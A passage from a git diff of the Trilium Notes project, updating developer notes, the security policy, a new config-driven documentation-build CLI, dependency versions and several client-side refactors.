 - Update schema in `apps/server/src/assets/db/schema.sql`
 
+### Server-Side Static Assets
+- Static assets (templates, SQL, translations, etc.) go in `apps/server/src/assets/`
+- Access them at runtime via `RESOURCE_DIR` from `apps/server/src/services/resource_dir.ts` (e.g. `path.join(RESOURCE_DIR, "llm", "skills", "file.md")`)
+- **Do not use `import.meta.url`/`fileURLToPath`** to resolve file paths — the server is bundled into CJS for production, so `import.meta.url` will not point to the source directory
+- **Do not use `__dirname` with relative paths** from source files — after bundling, `__dirname` points to the bundle output, not the original source tree
+
+## MCP Server
+- Trilium exposes an MCP (Model Context Protocol) server at `http://localhost:8080/mcp`, configured in `.mcp.json`
+- The MCP server is **only available when the Trilium server is running** (`pnpm run server:start`)
+- It provides tools for reading, searching, and modifying notes directly from the AI assistant
+- Use it to interact with actual note data when developing or debugging note-related features
+
 ## Build System Notes
 - Uses pnpm for monorepo management
 - Vite for fast development builds

SECURITY.md

@@ -2,12 +2,87 @@
 
 ## Supported Versions
 
-In the (still active) 0.X phase of the project only the latest stable minor release is getting bugfixes (including security ones).
+Only the latest stable minor release receives security fixes.
 
-So e.g. if the latest stable version is 0.42.3 and the latest beta version is 0.43.0-beta, then 0.42 line will still get security fixes but older versions (like 0.41.X) won't get any fixes.
+For example, if the latest stable version is 0.92.3 and the latest beta is 0.93.0-beta, then only the 0.92.x line will receive security patches. Older versions (like 0.91.x) will not receive fixes.
 
-Description above is a general rule and may be altered on case by case basis.
+This policy may be altered on a case-by-case basis for critical vulnerabilities.
 
 ## Reporting a Vulnerability
 
-You can report low severity vulnerabilities as GitHub issues, more severe vulnerabilities should be reported to the email [contact@eliandoran.me](mailto:contact@eliandoran.me)
+**Please report all security vulnerabilities through [GitHub Security Advisories](https://github.com/TriliumNext/Notes/security/advisories/new).**
+
+We do not accept security reports via email, public issues, or other channels. GitHub Security Advisories allows us to:
+- Discuss and triage vulnerabilities privately
+- Coordinate fixes before public disclosure
+- Credit reporters appropriately
+- Publish advisories with CVE identifiers
+
+### What to Include
+
+When reporting, please provide:
+- A clear description of the vulnerability
+- Steps to reproduce or proof-of-concept
+- Affected versions (if known)
+- Potential impact assessment
+- Any suggested mitigations or fixes
+
+### Response Timeline
+
+- **Initial response**: Within 7 days
+- **Triage decision**: Within 14 days
+- **Fix timeline**: Depends on severity and complexity
+
+## Scope
+
+### In Scope
+
+- Remote code execution
+- Authentication/authorization bypass
+- Cross-site scripting (XSS) that affects other users
+- SQL injection
+- Path traversal
+- Sensitive data exposure
+- Privilege escalation
+
+### Out of Scope (Won't Fix)
+
+The following are considered out of scope or accepted risks:
+
+#### Self-XSS / Self-Injection
+Trilium is a personal knowledge base where users have full control over their own data. Users can intentionally create notes containing scripts, HTML, or other executable content. This is by design - Trilium's scripting system allows users to extend functionality with custom JavaScript.
+
+Vulnerabilities that require a user to inject malicious content into their own notes and then view it themselves are not considered security issues.
+
+#### Electron Architecture (nodeIntegration)
+Trilium's desktop application runs with `nodeIntegration: true` to enable its powerful scripting features. This is an intentional design decision, similar to VS Code extensions having full system access. We mitigate risks by:
+- Sanitizing content at input boundaries
+- Fixing specific XSS vectors as they're discovered
+- Using Electron fuses to prevent external abuse
+
+#### Authenticated User Actions
+Actions that require valid authentication and only affect the authenticated user's own data are generally not vulnerabilities.
+
+#### Denial of Service via Resource Exhaustion
+Creating extremely large notes or performing many operations is expected user behavior in a note-taking application.
+
+#### Missing Security Headers on Non-Sensitive Endpoints
+We implement security headers where they provide meaningful protection, but may omit them on endpoints where they provide no practical benefit.
+
+## Coordinated Disclosure
+
+We follow a coordinated disclosure process:
+
+1. **Report received** - We acknowledge receipt and begin triage
+2. **Fix developed** - We develop and test a fix privately
+3. **Release prepared** - Security release is prepared with vague changelog
+4. **Users notified** - Release is published, users encouraged to upgrade
+5. **Advisory published** - After reasonable upgrade window (typically 2-4 weeks), full advisory is published
+
+We appreciate reporters allowing us time to fix issues before public disclosure. We aim to credit all reporters in published advisories unless they prefer to remain anonymous.
+
+## Security Updates
+
+Security fixes are released as patch versions (e.g., 0.92.1 → 0.92.2) to minimize upgrade friction. We recommend all users keep their installations up to date.
+
+Subscribe to GitHub releases or watch the repository to receive notifications of new releases.

apps/build-docs/package.json

@@ -1,22 +1,26 @@
 {
   "name": "build-docs",
   "version": "1.0.0",
-  "description": "",
+  "description": "Build documentation from Trilium notes",
   "main": "src/main.ts",
+  "bin": {
+    "trilium-build-docs": "dist/cli.js"
+  },
   "scripts": {
-    "start": "tsx ."
+    "start": "tsx .",
+    "cli": "tsx src/cli.ts",
+    "build": "tsx scripts/build.ts"
   },
   "keywords": [],
   "author": "Elian Doran <contact@eliandoran.me>",
   "license": "AGPL-3.0-only",
-  "packageManager": "pnpm@10.28.0",
+  "packageManager": "pnpm@10.33.0",
   "devDependencies": {
-    "@redocly/cli": "2.14.5",
+    "@redocly/cli": "2.25.3",
     "archiver": "7.0.1",
-    "fs-extra": "11.3.3",
-    "react": "19.2.3",
-    "react-dom": "19.2.3",
-    "typedoc": "0.28.16",
+    "fs-extra": "11.3.4",
+    "js-yaml": "4.1.1",
+    "typedoc": "0.28.18",
     "typedoc-plugin-missing-exports": "4.1.2"
   }
 }

apps/build-docs/scripts/build.ts

@@ -0,0 +1,23 @@
+import BuildHelper from "../../../scripts/build-utils";
+
+const build = new BuildHelper("apps/build-docs");
+
+async function main() {
+    // Build the CLI and other TypeScript files
+    await build.buildBackend([
+        "src/cli.ts",
+        "src/main.ts",
+        "src/build-docs.ts",
+        "src/swagger.ts",
+        "src/script-api.ts",
+        "src/context.ts"
+    ]);
+
+    // Copy HTML template
+    build.copy("src/index.html", "index.html");
+
+    // Copy node modules dependencies if needed
+    build.copyNodeModules([ "better-sqlite3", "bindings", "file-uri-to-path" ]);
+}
+
+main();

apps/build-docs/src/backend_script_entrypoint.ts

@@ -13,8 +13,12 @@
  * Make sure to keep in line with backend's `script_context.ts`.
  */
 
-export type { default as AbstractBeccaEntity } from "../../server/src/becca/entities/abstract_becca_entity.js";
-export type { default as BAttachment } from "../../server/src/becca/entities/battachment.js";
+export type {
+    default as AbstractBeccaEntity
+} from "../../server/src/becca/entities/abstract_becca_entity.js";
+export type {
+    default as BAttachment
+} from "../../server/src/becca/entities/battachment.js";
 export type { default as BAttribute } from "../../server/src/becca/entities/battribute.js";
 export type { default as BBranch } from "../../server/src/becca/entities/bbranch.js";
 export type { default as BEtapiToken } from "../../server/src/becca/entities/betapi_token.js";
@@ -31,6 +35,7 @@ export type { Api };
 const fakeNote = new BNote();
 
 /**
- * The `api` global variable allows access to the backend script API, which is documented in {@link Api}.
+ * The `api` global variable allows access to the backend script API,
+ * which is documented in {@link Api}.
  */
 export const api: Api = new BackendScriptApi(fakeNote, {});

apps/build-docs/src/build-docs.ts

@@ -1,19 +1,90 @@
 process.env.TRILIUM_INTEGRATION_TEST = "memory-no-store";
-process.env.TRILIUM_RESOURCE_DIR = "../server/src";
+// Only set TRILIUM_RESOURCE_DIR if not already set (e.g., by Nix wrapper)
+if (!process.env.TRILIUM_RESOURCE_DIR) {
+    process.env.TRILIUM_RESOURCE_DIR = "../server/src";
+}
 process.env.NODE_ENV = "development";
 
 import cls from "@triliumnext/server/src/services/cls.js";
-import { dirname, join, resolve } from "path";
+import archiver from "archiver";
+import { execSync } from "child_process";
+import { WriteStream } from "fs";
 import * as fs from "fs/promises";
 import * as fsExtra from "fs-extra";
-import archiver from "archiver";
-import { WriteStream } from "fs";
-import { execSync } from "child_process";
+import yaml from "js-yaml";
+import { dirname, join, resolve } from "path";
+
 import BuildContext from "./context.js";
 
+interface NoteMapping {
+    rootNoteId: string;
+    path: string;
+    format: "markdown" | "html" | "share";
+    ignoredFiles?: string[];
+    exportOnly?: boolean;
+}
+
+interface Config {
+    baseUrl: string;
+    noteMappings: NoteMapping[];
+}
+
 const DOCS_ROOT = "../../../docs";
 const OUTPUT_DIR = "../../site";
 
+// Load configuration from edit-docs-config.yaml
+async function loadConfig(configPath?: string): Promise<Config | null> {
+    const pathsToTry = configPath
+        ? [resolve(configPath)]
+        : [
+            join(process.cwd(), "edit-docs-config.yaml"),
+            join(__dirname, "../../../edit-docs-config.yaml")
+        ];
+
+    for (const path of pathsToTry) {
+        try {
+            const configContent = await fs.readFile(path, "utf-8");
+            const config = yaml.load(configContent) as Config;
+
+            // Resolve all paths relative to the config file's directory
+            const CONFIG_DIR = dirname(path);
+            config.noteMappings = config.noteMappings.map((mapping) => ({
+                ...mapping,
+                path: resolve(CONFIG_DIR, mapping.path)
+            }));
+
+            return config;
+        } catch (error) {
+            if (error.code !== "ENOENT") {
+                throw error; // rethrow unexpected errors
+            }
+        }
+    }
+
+    return null; // No config file found
+}
+
+async function exportDocs(
+    noteId: string,
+    format: "markdown" | "html" | "share",
+    outputPath: string,
+    ignoredFiles?: string[]
+) {
+    const zipFilePath = `output-${noteId}.zip`;
+    try {
+        const { exportToZipFile } = (await import("@triliumnext/server/src/services/export/zip.js"))
+            .default;
+        await exportToZipFile(noteId, format, zipFilePath, {});
+
+        const ignoredSet = ignoredFiles ? new Set(ignoredFiles) : undefined;
+        await extractZip(zipFilePath, outputPath, ignoredSet);
+    } finally {
+        if (await fsExtra.exists(zipFilePath)) {
+            await fsExtra.rm(zipFilePath);
+        }
+    }
+}
+
 async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
     const note = await importData(sourcePath);
 
@@ -21,15 +92,18 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
     const zipName = outputSubDir || "user-guide";
     const zipFilePath = `output-${zipName}.zip`;
     try {
-        const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js")).default;
+        const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js"))
+            .default;
         const branch = note.getParentBranches()[0];
-        const taskContext = new (await import("@triliumnext/server/src/services/task_context.js")).default(
-            "no-progress-reporting",
-            "export",
-            null
-        );
+        const taskContext = new (await import("@triliumnext/server/src/services/task_context.js"))
+            .default(
+                "no-progress-reporting",
+                "export",
+                null
+            );
         const fileOutputStream = fsExtra.createWriteStream(zipFilePath);
         await exportToZip(taskContext, branch, "share", fileOutputStream);
+        const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
         await waitForStreamToFinish(fileOutputStream);
 
         // Output to root directory if outputSubDir is empty, otherwise to subdirectory
@@ -42,7 +116,7 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
     }
 }
 
-async function buildDocsInner() {
+async function buildDocsInner(config?: Config) {
     const i18n = await import("@triliumnext/server/src/services/i18n.js");
     await i18n.initializeTranslations();
 
@@ -53,18 +127,49 @@ async function buildDocsInner() {
     const beccaLoader = await import("../../server/src/becca/becca_loader.js");
     await beccaLoader.beccaLoaded;
 
-    // Build User Guide
-    console.log("Building User Guide...");
-    await importAndExportDocs(join(__dirname, DOCS_ROOT, "User Guide"), "user-guide");
+    if (config) {
+        // Config-based build (reads from edit-docs-config.yaml)
+        console.log("Building documentation from config file...");
 
-    // Build Developer Guide
-    console.log("Building Developer Guide...");
-    await importAndExportDocs(join(__dirname, DOCS_ROOT, "Developer Guide"), "developer-guide");
+        // Import all non-export-only mappings
+        for (const mapping of config.noteMappings) {
+            if (!mapping.exportOnly) {
+                console.log(`Importing from ${mapping.path}...`);
+                await importData(mapping.path);
+            }
+        }
 
-    // Copy favicon.
-    await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "favicon.ico"));
-    await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "user-guide", "favicon.ico"));
-    await fs.copyFile("../../apps/website/src/assets/favicon.ico", join(OUTPUT_DIR, "developer-guide", "favicon.ico"));
+        // Export all mappings
+        for (const mapping of config.noteMappings) {
+            if (mapping.exportOnly) {
+                console.log(`Exporting ${mapping.format} to ${mapping.path}...`);
+                await exportDocs(
+                    mapping.rootNoteId,
+                    mapping.format,
+                    mapping.path,
+                    mapping.ignoredFiles
+                );
+            }
+        }
+    } else {
+        // Legacy hardcoded build (for backward compatibility)
+        console.log("Building User Guide...");
+        await importAndExportDocs(join(__dirname, DOCS_ROOT, "User Guide"), "user-guide");
+
+        console.log("Building Developer Guide...");
+        await importAndExportDocs(
+            join(__dirname, DOCS_ROOT, "Developer Guide"),
+            "developer-guide"
+        );
+
+        // Copy favicon.
+        await fs.copyFile("../../apps/website/src/assets/favicon.ico",
+            join(OUTPUT_DIR, "favicon.ico"));
+        await fs.copyFile("../../apps/website/src/assets/favicon.ico",
+            join(OUTPUT_DIR, "user-guide", "favicon.ico"));
+        await fs.copyFile("../../apps/website/src/assets/favicon.ico",
+            join(OUTPUT_DIR, "developer-guide", "favicon.ico"));
+    }
 
     console.log("Documentation built successfully!");
 }
@@ -91,12 +196,13 @@ async function createImportZip(path: string) {
         zlib: { level: 0 }
     });
 
-    console.log("Archive path is ", resolve(path))
+    console.log("Archive path is ", resolve(path));
     archive.directory(path, "/");
 
     const outputStream = fsExtra.createWriteStream(inputFile);
     archive.pipe(outputStream);
     archive.finalize();
+    const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
     await waitForStreamToFinish(outputStream);
 
     try {
@@ -106,15 +212,15 @@ async function createImportZip(path: string) {
     }
 }
 
-function waitForStreamToFinish(stream: WriteStream) {
-    return new Promise<void>((res, rej) => {
-        stream.on("finish", () => res());
-        stream.on("error", (err) => rej(err));
-    });
-}
 
-export async function extractZip(zipFilePath: string, outputPath: string, ignoredFiles?: Set<string>) {
-    const { readZipFile, readContent } = (await import("@triliumnext/server/src/services/import/zip.js"));
+export async function extractZip(
+    zipFilePath: string,
+    outputPath: string,
+    ignoredFiles?: Set<string>
+) {
+    const { readZipFile, readContent } = (await import(
+        "@triliumnext/server/src/services/import/zip.js"
+    ));
     await readZipFile(await fs.readFile(zipFilePath), async (zip, entry) => {
         // We ignore directories since they can appear out of order anyway.
         if (!entry.fileName.endsWith("/") && !ignoredFiles?.has(entry.fileName)) {
@@ -129,6 +235,27 @@ export async function extractZip(zipFilePath: string, outputPath: string, ignore
     });
 }
 
+export async function buildDocsFromConfig(configPath?: string, gitRootDir?: string) {
+    const config = await loadConfig(configPath);
+
+    if (gitRootDir) {
+        // Build the share theme if we have a gitRootDir (for Trilium project)
+        execSync(`pnpm run --filter share-theme build`, {
+            stdio: "inherit",
+            cwd: gitRootDir
+        });
+    }
+
+    // Trigger the actual build.
+    await new Promise((res, rej) => {
+        cls.init(() => {
+            buildDocsInner(config ?? undefined)
+                .catch(rej)
+                .then(res);
+        });
+    });
+}
+
 export default async function buildDocs({ gitRootDir }: BuildContext) {
     // Build the share theme.
     execSync(`pnpm run --filter share-theme build`, {

apps/build-docs/src/cli.ts

@@ -0,0 +1,89 @@
+#!/usr/bin/env node
+
+import packageJson from "../package.json" with { type: "json" };
+import { buildDocsFromConfig } from "./build-docs.js";
+
+// Parse command-line arguments
+function parseArgs() {
+    const args = process.argv.slice(2);
+    let configPath: string | undefined;
+    let showHelp = false;
+    let showVersion = false;
+
+    for (let i = 0; i < args.length; i++) {
+        if (args[i] === "--config" || args[i] === "-c") {
+            configPath = args[i + 1];
+            if (!configPath) {
+                console.error("Error: --config/-c requires a path argument");
+                process.exit(1);
+            }
+            i++; // Skip the next argument as it's the value
+        } else if (args[i] === "--help" || args[i] === "-h") {
+            showHelp = true;
+        } else if (args[i] === "--version" || args[i] === "-v") {
+            showVersion = true;
+        }
+    }
+
+    return { configPath, showHelp, showVersion };
+}
+
+function getVersion(): string {
+    return packageJson.version;
+}
+
+function printHelp() {
+    const version = getVersion();
+    console.log(`
+Usage: trilium-build-docs [options]
+
+Options:
+  -c, --config <path>  Path to the configuration file
+                       (default: edit-docs-config.yaml in current directory)
+  -h, --help           Display this help message
+  -v, --version        Display version information
+
+Description:
+  Builds documentation from Trilium note structure and exports to various formats.
+  Configuration file should be in YAML format with the following structure:
+
+  baseUrl: "https://example.com"
+  noteMappings:
+    - rootNoteId: "noteId123"
+      path: "docs"
+      format: "markdown"
+    - rootNoteId: "noteId456"
+      path: "public/docs"
+      format: "share"
+      exportOnly: true
+
+Version: ${version}
+`);
+}
+
+function printVersion() {
+    const version = getVersion();
+    console.log(version);
+}
+
+async function main() {
+    const { configPath, showHelp, showVersion } = parseArgs();
+
+    if (showHelp) {
+        printHelp();
+        process.exit(0);
+    } else if (showVersion) {
+        printVersion();
+        process.exit(0);
+    }
+
+    try {
+        await buildDocsFromConfig(configPath);
+        process.exit(0);
+    } catch (error) {
+        console.error("Error building documentation:", error);
+        process.exit(1);
+    }
+}
+
+main();

apps/build-docs/src/frontend_script_entrypoint.ts

@@ -13,16 +13,19 @@
  * Make sure to keep in line with frontend's `script_context.ts`.
  */
 
-export type { default as BasicWidget } from "../../client/src/widgets/basic_widget.js";
 export type { default as FAttachment } from "../../client/src/entities/fattachment.js";
 export type { default as FAttribute } from "../../client/src/entities/fattribute.js";
 export type { default as FBranch } from "../../client/src/entities/fbranch.js";
 export type { default as FNote } from "../../client/src/entities/fnote.js";
 export type { Api } from "../../client/src/services/frontend_script_api.js";
-export type { default as NoteContextAwareWidget } from "../../client/src/widgets/note_context_aware_widget.js";
+export type { default as BasicWidget } from "../../client/src/widgets/basic_widget.js";
+export type {
+    default as NoteContextAwareWidget
+} from "../../client/src/widgets/note_context_aware_widget.js";
 export type { default as RightPanelWidget } from "../../client/src/widgets/right_panel_widget.js";
 
 import FrontendScriptApi, { type Api } from "../../client/src/services/frontend_script_api.js";
 
-//@ts-expect-error
+
+// @ts-expect-error - FrontendScriptApi is not directly exportable as Api without this simulation.
 export const api: Api = new FrontendScriptApi();

apps/build-docs/src/main.ts

@@ -1,9 +1,10 @@
-import { join } from "path";
-import BuildContext from "./context";
-import buildSwagger from "./swagger";
 import { cpSync, existsSync, mkdirSync, rmSync } from "fs";
+import { join } from "path";
+
 import buildDocs from "./build-docs";
+import BuildContext from "./context";
 import buildScriptApi from "./script-api";
+import buildSwagger from "./swagger";
 
 const context: BuildContext = {
     gitRootDir: join(__dirname, "../../../"),

apps/build-docs/src/script-api.ts

@@ -1,7 +1,8 @@
 import { execSync } from "child_process";
-import BuildContext from "./context";
 import { join } from "path";
 
+import BuildContext from "./context";
+
 export default function buildScriptApi({ baseDir, gitRootDir }: BuildContext) {
     // Generate types
     execSync(`pnpm typecheck`, { stdio: "inherit", cwd: gitRootDir });

apps/build-docs/src/swagger.ts

@@ -1,7 +1,8 @@
-import BuildContext from "./context";
-import { join } from "path";
 import { execSync } from "child_process";
 import { mkdirSync } from "fs";
+import { join } from "path";
+
+import BuildContext from "./context";
 
 interface BuildInfo {
     specPath: string;
@@ -27,6 +28,9 @@ export default function buildSwagger({ baseDir, gitRootDir }: BuildContext) {
         const absSpecPath = join(gitRootDir, specPath);
         const targetDir = join(baseDir, outDir);
         mkdirSync(targetDir, { recursive: true });
-        execSync(`pnpm redocly build-docs ${absSpecPath} -o ${targetDir}/index.html`, { stdio: "inherit" });
+        execSync(
+            `pnpm redocly build-docs ${absSpecPath} -o ${targetDir}/index.html`,
+            { stdio: "inherit" }
+        );
     }
 }

apps/build-docs/tsconfig.json

@@ -1,6 +1,8 @@
 {
   "extends": "../../tsconfig.base.json",
-  "include": [],
+  "include": [
+    "scripts/**/*.ts"
+  ],
   "references": [
     {
       "path": "../server"

apps/build-docs/typedoc.backend.json

@@ -4,6 +4,7 @@
   "entryPoints": [
     "src/backend_script_entrypoint.ts"
   ],
+  "tsconfig": "tsconfig.app.json",
   "plugin": [
     "typedoc-plugin-missing-exports"
   ]

apps/build-docs/typedoc.frontend.json

@@ -4,6 +4,7 @@
   "entryPoints": [
     "src/frontend_script_entrypoint.ts"
   ],
+  "tsconfig": "tsconfig.app.json",
   "plugin": [
     "typedoc-plugin-missing-exports"
   ]

apps/client/index.html

@@ -13,13 +13,14 @@
     <body id="trilium-app">
         <noscript>Trilium requires JavaScript to be enabled.</noscript>
 
+        <div id="context-menu-cover"></div>
         <div class="dropdown-menu dropdown-menu-sm" id="context-menu-container" style="display: none"></div>
 
         <!-- Required to match the PWA's top bar color with the theme -->
         <!-- This works even when the user directly changes --root-background in CSS -->
         <div id="background-color-tracker" style="position: absolute; visibility: hidden; color: var(--root-background); transition: color 1ms;"></div>
 
-        <script src="./index.ts" type="module"></script>
+        <script src="./src/index.ts" type="module"></script>
 
         <!-- Required for correct loading of scripts in Electron -->
         <script>

apps/client/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@triliumnext/client",
-  "version": "0.101.3",
+  "version": "0.102.2",
   "description": "JQuery-based client for TriliumNext, used for both web and desktop (via Electron)",
   "private": true,
   "license": "AGPL-3.0-only",
@@ -22,65 +22,71 @@
     "@fullcalendar/interaction": "6.1.20",
     "@fullcalendar/list": "6.1.20",
     "@fullcalendar/multimonth": "6.1.20",
+    "@fullcalendar/rrule": "6.1.20",
     "@fullcalendar/timegrid": "6.1.20",
     "@maplibre/maplibre-gl-leaflet": "0.1.3",
-    "@mermaid-js/layout-elk": "0.2.0",
+    "@mermaid-js/layout-elk": "0.2.1",
     "@mind-elixir/node-menu": "5.0.1",
-    "@popperjs/core": "2.11.8",
-    "@preact/signals": "2.5.1",
+    "@preact/signals": "2.9.0",
     "@triliumnext/ckeditor5": "workspace:*",
     "@triliumnext/codemirror": "workspace:*",
     "@triliumnext/commons": "workspace:*",
     "@triliumnext/highlightjs": "workspace:*",
     "@triliumnext/share-theme": "workspace:*",
     "@triliumnext/split.js": "workspace:*",
-    "@zumer/snapdom": "2.0.1",
+    "@univerjs/preset-sheets-conditional-formatting": "0.19.0",
+    "@univerjs/preset-sheets-core": "0.19.0",
+    "@univerjs/preset-sheets-data-validation": "0.19.0",
+    "@univerjs/preset-sheets-filter": "0.19.0",
+    "@univerjs/preset-sheets-find-replace": "0.19.0",
+    "@univerjs/preset-sheets-note": "0.19.0",
+    "@univerjs/preset-sheets-sort": "0.19.0",
+    "@univerjs/presets": "0.19.0",
+    "@zumer/snapdom": "2.7.0",
     "autocomplete.js": "0.38.1",
     "bootstrap": "5.3.8",
     "boxicons": "2.1.4",
     "clsx": "2.1.1",
     "color": "5.0.3",
     "debounce": "3.0.0",
+    "dompurify": "3.3.3",
     "draggabilly": "3.0.0",
-    "force-graph": "1.51.0",
-    "globals": "17.0.0",
-    "i18next": "25.7.4",
-    "i18next-http-backend": "3.0.2",
-    "jquery": "3.7.1",
+    "force-graph": "1.51.2",
+    "i18next": "26.0.3",
+    "i18next-http-backend": "3.0.4",
+    "jquery": "4.0.0",
     "jquery.fancytree": "2.38.5",
     "jsplumb": "2.15.6",
-    "katex": "0.16.27",
-    "knockout": "3.5.1",
+    "katex": "0.16.44",
     "leaflet": "1.9.4",
     "leaflet-gpx": "2.2.0",
     "mark.js": "8.11.1",
-    "marked": "17.0.1",
-    "mermaid": "11.12.2",
-    "mind-elixir": "5.5.0",
-    "normalize.css": "8.0.1",
-    "panzoom": "9.4.3",
-    "preact": "10.28.2",
-    "react-i18next": "16.5.3",
-    "react-window": "2.2.5",
-    "reveal.js": "5.2.1",
+    "marked": "17.0.5",
+    "mermaid": "11.14.0",
+    "mind-elixir": "5.10.0",
+    "panzoom": "9.4.4",
+    "preact": "10.29.0",
+    "react-i18next": "17.0.2",
+    "react-window": "2.2.7",
+    "reveal.js": "6.0.0",
+    "rrule": "2.8.1",
     "svg-pan-zoom": "3.6.2",
-    "tabulator-tables": "6.3.1",
+    "tabulator-tables": "6.4.0",
     "vanilla-js-wheel-zoom": "9.0.4"
   },
   "devDependencies": {
     "@ckeditor/ckeditor5-inspector": "5.0.0",
-    "@prefresh/vite": "2.4.11",
+    "@prefresh/vite": "2.4.12",
     "@types/bootstrap": "5.2.10",
-    "@types/jquery": "3.5.33",
+    "@types/jquery": "4.0.0",
     "@types/leaflet": "1.9.21",
     "@types/leaflet-gpx": "1.3.8",
     "@types/mark.js": "8.11.12",
-    "@types/reveal.js": "5.2.2",
     "@types/tabulator-tables": "6.3.1",
-    "copy-webpack-plugin": "13.0.1",
-    "happy-dom": "20.1.0",
-    "lightningcss": "1.30.2",
+    "copy-webpack-plugin": "14.0.0",
+    "happy-dom": "20.8.9",
+    "lightningcss": "1.32.0",
     "script-loader": "0.7.2",
-    "vite-plugin-static-copy": "3.1.4"
+    "vite-plugin-static-copy": "4.0.0"
   }
-}
+}

apps/client/src/components/app_context.ts

@@ -1,6 +1,6 @@
 import type { CKTextEditor } from "@triliumnext/ckeditor5";
 import type CodeMirror from "@triliumnext/codemirror";
-import { SqlExecuteResults } from "@triliumnext/commons";
+import { SqlExecuteResponse } from "@triliumnext/commons";
 import type { NativeImage, TouchBar } from "electron";
 import { ColumnComponent } from "tabulator-tables";
 
@@ -101,8 +101,6 @@ export type CommandMappings = {
     showRevisions: CommandData & {
         noteId?: string | null;
     };
-    showLlmChat: CommandData;
-    createAiChat: CommandData;
     showOptions: CommandData & {
         section: string;
     };
@@ -304,6 +302,7 @@ export type CommandMappings = {
     ninthTab: CommandData;
     lastTab: CommandData;
     showNoteSource: CommandData;
+    showNoteOCRText: CommandData;
     showSQLConsole: CommandData;
     showBackendLog: CommandData;
     showCheatsheet: CommandData;
@@ -410,7 +409,7 @@ type EventMappings = {
     addNewLabel: CommandData;
     addNewRelation: CommandData;
     sqlQueryResults: CommandData & {
-        results: SqlExecuteResults;
+        response: SqlExecuteResponse;
     };
     readOnlyTemporarilyDisabled: {
         noteContext: NoteContext;
@@ -510,7 +509,7 @@ type EventMappings = {
     contentSafeMarginChanged: {
         top: number;
         noteContext: NoteContext;
-    }
+    };
 };
 
 export type EventListener<T extends EventNames> = {
@@ -542,7 +541,6 @@ export type FilteredCommandNames<T extends CommandData> = keyof Pick<CommandMapp
 
 export class AppContext extends Component {
     isMainWindow: boolean;
-    windowId: string;
     components: Component[];
     beforeUnloadListeners: (WeakRef<BeforeUploadListener> | (() => boolean))[];
     tabManager!: TabManager;
@@ -551,11 +549,10 @@ export class AppContext extends Component {
 
     lastSearchString?: string;
 
-    constructor(isMainWindow: boolean, windowId: string) {
+    constructor(isMainWindow: boolean) {
         super();
 
         this.isMainWindow = isMainWindow;
-        this.windowId = windowId;
         // non-widget/layout components needed for the application
         this.components = [];
         this.beforeUnloadListeners = [];
@@ -685,7 +682,8 @@ export class AppContext extends Component {
         this.beforeUnloadListeners = this.beforeUnloadListeners.filter(l => l !== listener);
     }
 }
-const appContext = new AppContext(window.glob.isMainWindow, window.glob.windowId);
+
+const appContext = new AppContext(window.glob.isMainWindow);
 
 // we should save all outstanding changes before the page/app is closed
 $(window).on("beforeunload", () => {

apps/client/src/components/entrypoints.ts

@@ -1,16 +1,17 @@
-import utils from "../services/utils.js";
+import { CreateChildrenResponse, SqlExecuteResponse } from "@triliumnext/commons";
+
+import bundleService from "../services/bundle.js";
 import dateNoteService from "../services/date_notes.js";
+import froca from "../services/froca.js";
+import { t } from "../services/i18n.js";
+import linkService from "../services/link.js";
 import protectedSessionHolder from "../services/protected_session_holder.js";
 import server from "../services/server.js";
+import toastService from "../services/toast.js";
+import utils from "../services/utils.js";
+import ws from "../services/ws.js";
 import appContext, { type NoteCommandData } from "./app_context.js";
 import Component from "./component.js";
-import toastService from "../services/toast.js";
-import ws from "../services/ws.js";
-import bundleService from "../services/bundle.js";
-import froca from "../services/froca.js";
-import linkService from "../services/link.js";
-import { t } from "../services/i18n.js";
-import { CreateChildrenResponse, SqlExecuteResponse } from "@triliumnext/commons";
 
 export default class Entrypoints extends Component {
     constructor() {
@@ -142,15 +143,14 @@ export default class Entrypoints extends Component {
     }
 
     async openInWindowCommand({ notePath, hoistedNoteId, viewScope }: NoteCommandData) {
-        const extraWindowId = utils.randomString(4);
         const extraWindowHash = linkService.calculateHash({ notePath, hoistedNoteId, viewScope });
 
         if (utils.isElectron()) {
             const { ipcRenderer } = utils.dynamicRequire("electron");
 
-            ipcRenderer.send("create-extra-window", { extraWindowId, extraWindowHash });
+            ipcRenderer.send("create-extra-window", { extraWindowHash });
         } else {
-            const url = `${window.location.protocol}//${window.location.host}${window.location.pathname}?extraWindow=${extraWindowId}${extraWindowHash}`;
+            const url = `${window.location.protocol}//${window.location.host}${window.location.pathname}?extraWindow=1${extraWindowHash}`;
 
             window.open(url, "", "width=1000,height=800");
         }
@@ -188,13 +188,8 @@ export default class Entrypoints extends Component {
         } else if (note.mime.endsWith("env=backend")) {
             await server.post(`script/run/${note.noteId}`);
         } else if (note.mime === "text/x-sqlite;schema=trilium") {
-            const resp = await server.post<SqlExecuteResponse>(`sql/execute/${note.noteId}`);
-
-            if (!resp.success) {
-                toastService.showError(t("entrypoints.sql-error", { message: resp.error }));
-            }
-
-            await appContext.triggerEvent("sqlQueryResults", { ntxId: ntxId, results: resp.results });
+            const response = await server.post<SqlExecuteResponse>(`sql/execute/${note.noteId}`);
+            await appContext.triggerEvent("sqlQueryResults", { ntxId, response });
         }
 
         toastService.showMessage(t("entrypoints.note-executed"));

apps/client/src/components/note_context.ts

@@ -381,6 +381,10 @@ class NoteContext extends Component implements EventListener<"entitiesReloaded">
 
         // Collections must always display a note list, even if no children.
         if (note.type === "book") {
+            if (note.isProtected && !protectedSessionHolder.isProtectedSessionAvailable()) {
+                return false;
+            }
+
             const viewType = note.getLabelValue("viewType") ?? "grid";
             if (!["list", "grid"].includes(viewType)) {
                 return true;

apps/client/src/components/root_command_executor.ts

@@ -1,10 +1,8 @@
 import dateNoteService from "../services/date_notes.js";
 import froca from "../services/froca.js";
-import noteCreateService from "../services/note_create.js";
 import openService from "../services/open.js";
 import options from "../services/options.js";
 import protectedSessionService from "../services/protected_session.js";
-import toastService from "../services/toast.js";
 import treeService from "../services/tree.js";
 import utils, { openInReusableSplit } from "../services/utils.js";
 import appContext, { type CommandListenerData } from "./app_context.js";
